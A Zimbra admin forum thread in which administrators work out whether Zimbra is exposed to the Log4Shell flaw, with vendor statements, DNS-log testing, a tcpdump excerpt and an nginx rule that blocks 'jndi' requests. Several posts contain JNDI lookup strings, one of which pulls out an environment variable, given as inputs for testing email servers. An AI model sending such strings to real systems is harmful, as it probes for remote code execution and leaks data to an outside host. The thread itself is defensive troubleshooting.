log4j-zero-day exploit - active attacks

Discuss your pilot or production implementation with other Zimbra admins or our engineers.
sigtrap
Posts: 22
Joined: Sat Sep 13, 2014 1:35 am

Re: log4j-zero-day exploit - active attacks

Post by sigtrap »

L. Mark Stone wrote:I opened a Support Case with Zimbra on this earlier today. Zimbra have reported back to me that the 1.2.16 version of Log4j used by Zimbra is NOT subject to this exploit.

If anyone can prove otherwise, please send me a private message and I will get this escalated within Synacor.

All the best,
Mark
To test this you need a DNS server that logs all requests.
From Zimbra, send an email with the following subject:
${jndi:ldap://test11.mydom.dom/a}
And the following body:
${jndi:ldap://test12.mydom.dom/a}
(where mydom.dom points to your DNS server)

You will get a DNS request for test11 and test12.
What I understand is this an indicator that you are vulnerable. But I am not sure. To exploit it the Log4j needs to load the remote class file. I have not tested this. Maybe Zimbra just makes the DNS query but not load the class file?

EDIT: I jave also tried ${jnii:ldop://test93.mydom.dom/a} and Zimbra also makes a DNS request for test93.mydom.dom so I guess it is not a jndi look up problem. Something else probably makes the DNS look up for test93.mydom.dom... Sorry if I disturbed up dust. The DNS request is an indicator. A quick test with ${jndi:ldap://${env:EUID}55.mydom.dom/a} just makes a DNS request of 55.mydom.dom so I guess Zimbra with Log4j 1.2.6 is not vulnerable.
PL123
Posts: 3
Joined: Fri Dec 10, 2021 10:59 pm

Re: log4j-zero-day exploit - active attacks

Post by PL123 »

L. Mark Stone wrote: 1.2.16 version of Log4j used by Zimbra is NOT subject to this exploit.
It is:

https://github.com/apache/logging-log4j ... -990494126
khawkins
Posts: 12
Joined: Sat Dec 11, 2021 12:25 am
ZCS/ZD Version: 8.8.15

Re: log4j-zero-day exploit - active attacks

Post by khawkins »

I just want to say thank you for testing this sigtrap, and for the information in your edit!

And thank you Mark for the information from Zimbra support!
irv
Posts: 7
Joined: Mon Jun 04, 2018 12:04 am

Re: log4j-zero-day exploit - active attacks

Post by irv »

Thanks for that. Will sleep a bit better.
One or another, vmware just posted number of products that are affected and i'm just puting fence around that, and zimbra also just to wait for further development.
Good that this is weekend - so I don't need worry about ppl.



sigtrap wrote:
L. Mark Stone wrote:I opened a Support Case with Zimbra on this earlier today. Zimbra have reported back to me that the 1.2.16 version of Log4j used by Zimbra is NOT subject to this exploit.

If anyone can prove otherwise, please send me a private message and I will get this escalated within Synacor.

All the best,
Mark
To test this you need a DNS server that logs all requests.
From Zimbra, send an email with the following subject:
${jndi:ldap://test11.mydom.dom/a}
And the following body:
${jndi:ldap://test12.mydom.dom/a}
(where mydom.dom points to your DNS server)

You will get a DNS request for test11 and test12.
What I understand is this an indicator that you are vulnerable. But I am not sure. To exploit it the Log4j needs to load the remote class file. I have not tested this. Maybe Zimbra just makes the DNS query but not load the class file?

EDIT: I jave also tried ${jnii:ldop://test93.mydom.dom/a} and Zimbra also makes a DNS request for test93.mydom.dom so I guess it is not a jndi look up problem. Something else probably makes the DNS look up for test93.mydom.dom... Sorry if I disturbed up dust. The DNS request is an indicator. A quick test with ${jndi:ldap://${env:EUID}55.mydom.dom/a} just makes a DNS request of 55.mydom.dom so I guess Zimbra with Log4j 1.2.6 is not vulnerable.
rsmith999
Posts: 4
Joined: Fri May 06, 2016 4:46 pm

Re: log4j-zero-day exploit - active attacks

Post by rsmith999 »

User avatar
L. Mark Stone
Ambassador
Ambassador
Posts: 2800
Joined: Wed Oct 09, 2013 11:35 am
Location: Portland, Maine, US
ZCS/ZD Version: 10.0.7 Network Edition
Contact:

Re: log4j-zero-day exploit - active attacks

Post by L. Mark Stone »

Hi Team,

Thanks for everyone’s comments. I am not a developer, so not qualified to opine myself on this.

I opened a Support Case with Zimbra this morning on this. Support came back saying the Zimbra developers had done testing and determined Zimbra is not impacted by this exploit.

Others in this thread disagree, so I have asked some senior folks at Zimbra if someone from Synacor would be willing to comment “on the record” on this thread. Keep in mind that’s a big ask. It’s never a good idea to say “never” to a possibility.

If you do disagree that Zimbra is not impacted by this exploit and you feel you can prove it, please please please if you are an NE customer open a Support Case and show your work.

If you are an OSE customer without a Support contract and you are having issues sending me a pm here on the forums, please go to my website www.missioncriticalemail.com and fill out any of the contact forms available on most of the pages.

All I can say is that, whatever you may think about Synacor’s attitude towards OSE customers, I have always found Synacor to be responsive to security issues like this.

Hope that helps,
Mark
___________________________________
L. Mark Stone
Mission Critical Email - Zimbra VAR/BSP/Training Partner https://www.missioncriticalemail.com/
AWS Certified Solutions Architect-Associate
michnovka
Posts: 2
Joined: Fri May 10, 2019 5:07 pm

Re: log4j-zero-day exploit - active attacks

Post by michnovka »

Hi,

we were testing this yesterday a lot and found that the Log4J version Zimbra uses (1.2.6 it seems for many bulds, at least since 8.4) is not affected.

We did try to confirm the exploit by using the suggested approach at https://www.lunasec.io/docs/blog/log4j-zero-day/ and indeed we found DNS records at http://dnslog.cn/ being looked up. This startled us and frightened, as it seemed it does perform some connection.

However we did some digging then with TCP dump to see if LDAP connection was made, or what was actually going on. Turns out that it is the anti-spam filters we have set up, that look through message contents and test every single URL they can find:

Code: Select all

23:47:01.010464 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 59229+ [1au] A? dnslog.cn.multi.surbl.org. (54)
23:47:01.010673 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 31930+ [1au] A? dnslog.cn.multi.uribl.com. (54)
23:47:01.010916 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 32871+ [1au] A? dnslog.cn.dob.sibl.support-intelligence.net. (72)
23:47:01.011180 IP 8.8.8.8.domain > RE.DA.CT.ED.34391: 64690 1/0/1 A 127.0.0.1 (72)
23:47:01.011279 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 5885+ [1au] A? dnslog.cn.dbl.spamhaus.org. (55)
23:47:01.011623 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 19962+ [1au] NS? dnslog.cn. (38)
23:47:01.011798 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 42471+ [1au] A? utx82b.dnslog.cn. (45)
Therefore we are confident that Zimbra version 8.8.15.P28 is not affected.

---

That being said, I did discover this: https://nvd.nist.gov/vuln/detail/CVE-2019-17571

This is another remote code execution CVE affecting log4j and here the version used by Zimbra is indeed vulnerable. The severity of this is critical, the question remains, whether it is exploitable or not. I want to remain calm, as this has been out for months and no new patch was published by Zimbra, so I would expect they know about this and concluded it is not exploitable in Zimbra's use case. However I would very much welcome confirmation of this hypothesis, given the severity of this CVE.

Thanks!
User avatar
andreaswolske
Posts: 35
Joined: Tue Nov 26, 2013 11:24 am
Location: Berlin
ZCS/ZD Version: Release 8.8.15_GA_3829.RHEL7_64_201
Contact:

Re: log4j-zero-day exploit - active attacks

Post by andreaswolske »

Zimbra Support recently posted the following information on https://support.zimbra.com (Login needed):

0-day Exploit Vulnerability for log4j (CVE-2021-44228)
After intensive review and testing, Zimbra Development has determined that the 0-day exploit vulnerability for log4j (CVE-2021-44228) does not affect the current Supported Zimbra versions (9.0.0 & 8.8.15). The current version of log4j used in Zimbra is 1.2.16. The vulnerability occurs in log4j versions 2.0 and higher.


Also the CVE description on https://nvd.nist.gov/vuln/detail/CVE-2021-44228 states, that applications running on Java >8U121 would be not affected due to the default settings which prohibit remote execution of code. Zimbra ZCS 8.7.11 on RHEL 6.x is running on Java 8 U275.

I'm about to confirm that these default settings

Code: Select all

com.sun.jndi.rmi.object.trustURLCodebase false
com.sun.jndi.cosnaming.object.trustURLCodebase false 
apply to current Zimbra installations. This should add another layer of protection against the Log4j issue.
User avatar
JDunphy
Outstanding Member
Outstanding Member
Posts: 897
Joined: Fri Sep 12, 2014 11:18 pm
Location: Victoria, BC
ZCS/ZD Version: 9.0.0_P39 NETWORK Edition

Re: log4j-zero-day exploit - active attacks

Post by JDunphy »

I came to the conclusion yesterday (probably spent too many hours just with Zimbra) that we were probably fine but continued to work on this that are not zimbra specific in case we were not. I also spent a lot of time looking at various payloads from some of the RCE's. A few vendors still haven't figured out how bad this is. Here is a copy of one of the payloads: https://pastebin.com/wHbfvjL0

I spent some of my time yesterday opening tickets trying to get active firewall dropping of attacking ip's with our various cloud providers to protect the entire networks we are in. We also fenced in our machines with ipsets using the greynoise ip's as they were discovered. A few strategies that some of you can do for your networks is IMMA. For the SOHO administrators, I think you saw discussion of some techniques if you read between the lines in some of the postings in this thread.

I = isolate
M = Minimize
M = Monitor
A = Active Defense

Ref: https://twitter.com/bettersafetynet/sta ... 4977745932

In the above, he walks you through the steps and what they mean.

The confusion in this thread shows how difficult it can be for even seasoned administrators or a vendor to participate given the fear of not knowing definitively. I am guilty of that myself as I spent most of my day mitigating our defenses using the above strategies of IMMA and wondering if I had done enough.

I want to thank all of you and Mark specifically for trying to get Synacor to speak out on this and keep information flowing as it was a huge help given this can be a lonely job at times like this.

For Zimbra/Synacor if they are reading this, it would have been appropriate to use these forums and show active leadership as CloudFlare and Greynoise CEO's did via twitter early on and say this is so bad we will get out in front of this (customer or not a customer we will help you). Both provided mitigation tools/strategies without fee. it would have also have been appropriate to see a Zimbra posting in these forums or blog entry from Synacor to say "we use log4j this way or do not use it this way" and believe we are NOT VULNERABLE but you could be if you did this and this in your configurations. Also sending an email with a link to the blog posting or a statement in the email when you discovered it wasn't a problem for your product. We know you have our email addresses as you send out emails highlighting your network partners or product offerings. ;-) ;-) ;-)

Lastly, the posting of the developer comment links in this thread were very helpful. Thanks everyone for those as it was a great starting point for me to dig deeper.

These 0-days are more lucrative than bug bounties so expecting these unfortunately is our future.

Jim
User avatar
maxxer
Outstanding Member
Outstanding Member
Posts: 224
Joined: Fri Oct 04, 2013 2:12 am
Contact:

Re: log4j-zero-day exploit - active attacks

Post by maxxer »

Thanks everyone for investigating and reporting back!

From what I could understand, the main attack vector are HTTP calls. Would it be of any help blocking all requests containing jndi in the URI or UA? I made up this rule for nginx:

Code: Select all

if ($http_user_agent ~* (jndi) ) {
   return 403;
}
location ~* jndi {
   return 403;
}
It should be placed in /opt/zimbra/conf/nginx/includes/nginx.conf.web.https.default

I didn't follow the issue closely, as I don't deal with Java stuff very often (except for Zimbra), but I think this could be an easy move to block some attempts.
Post Reply